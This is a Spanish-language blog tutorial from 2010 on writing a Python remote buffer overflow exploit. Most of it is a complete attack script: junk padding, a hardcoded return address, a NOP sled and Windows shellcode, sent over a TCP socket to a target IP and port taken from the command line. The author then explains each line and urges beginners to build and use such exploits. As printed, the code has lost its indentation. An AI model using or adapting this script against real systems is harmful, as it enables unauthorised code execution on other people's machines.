23 nov. 2010

CREANDO UN EXPLOIT III: Buffer Overflow En Python

Quiero que la gente se anime a saber compilar sus propios exploits (newbies) ó en su defecto si se encuentra uno saber que hacer con el, empezaremos por uno sencillito. Mucha gente pregunta que hago con este exploit? bueno pues si no conoces la vulnerabilidad de la que se trata no vas a saber sacar provecho, pero el buffer overflow si sabemos no? al menos lo basico, si no sabes consulta las FAQ de la seccion ahi encontrarás informacion para iniciarte. Me centraré en los sockets, como se envia un paquete de una maquina a otra, en este caso un exploit  veamos el siguiente codigo.

Nota: si usais windows tendras que poner una b delante de cada cadena q lo pasa a bytes ejmp: eip = b"\x33\xBF\x97\x7C"
Código:


[cc lang="Python"]#!/usr/bin/env python
# Exploit ejemplo
#################

#importamos librerias necesarias
import socket
import sys
#explicacion de uso del exploit
if len(sys.argv) != 3:
print ("[+] Uso: exploit.py <Target IP> <Puerto>")
sys.exit(1)
#cogemos el argumento <target IP>
target = sys.argv[1]
#cogemos el argumento <Puerto>
port = int(sys.argv[2])
nops = "\x90" * 12
basura = "\x41" * 524
eip = "\x33\xBF\x97\x7C"
shellcode = "\x55\x8B\xEC\x33\xC9\x51\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\x88\x4D\xFB\x8D\x45\xF8\x50\xBB\xc7\x93\xbf\x77\xFF\xD3"
exploit = basura + eip + nops + shellcode
#creamos un socket familia AF_INET protocolo de internet
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#enviamos peticion
s.connect((target, port))
print ("[+] Enviando peticion de conexion...")
#recibimos respuesta
s.recv(1024)
#enviamos exploit
s.send(exploit)
print ("[+] Enviando exploit..")
#cerramos el socket
s.close()
print ("[+] Hecho!!!")[/cc]

Código:
[cc lang="Python"]import socket
import sys[/cc]

librerias que usará el script, socket es la que usamos para enviar paquetes a traves de internet
Código:


[cc lang="Python"]if len(sys.argv) != 3:
print ("[+] Uso: exploit.py <Target IP> <Puerto>")
sys.exit(1)[/cc]

si cuando ejecutamos el programa no cogemos los argumentos ip y puerto sale y lo printa en pantalla
Código:


[cc lang="Python"]target = sys.argv[1]
puerto = int(sys.argv[2])[/cc]

pasa a una variable el argumento 1 que seria la ip y el 2 que seria el puerto el sys.argv[0] seria el nombre del programa

[cc lang="Actionscript"]exploit = basura + eip + nops + shellcode[/cc]

conforma el exploit ya deberias saberlo

[cc lang="Actionscript"]s = socket.socket(socket. AF_INET, socket. SOCK_STREAM)[/cc]

pasa a la variable s un nuevo socket de la familia AF_INET

[cc lang="Actionscript"]s.connect((target, port))[/cc]

enviamos peticion de conexion recuerda, s es el nuevo socket, target la ip y el puerto

[cc lang="Actionscript"]s.recv(1024)[/cc]

Recibimos la respuesta de la conexion 1024 bytes
[cc lang="Actionscript"]s.send(exploit)[/cc]

envia el paquete a traves de internet, el exploit
[cc lang="Actionscript"]s.close()[/cc]

cerramos el socket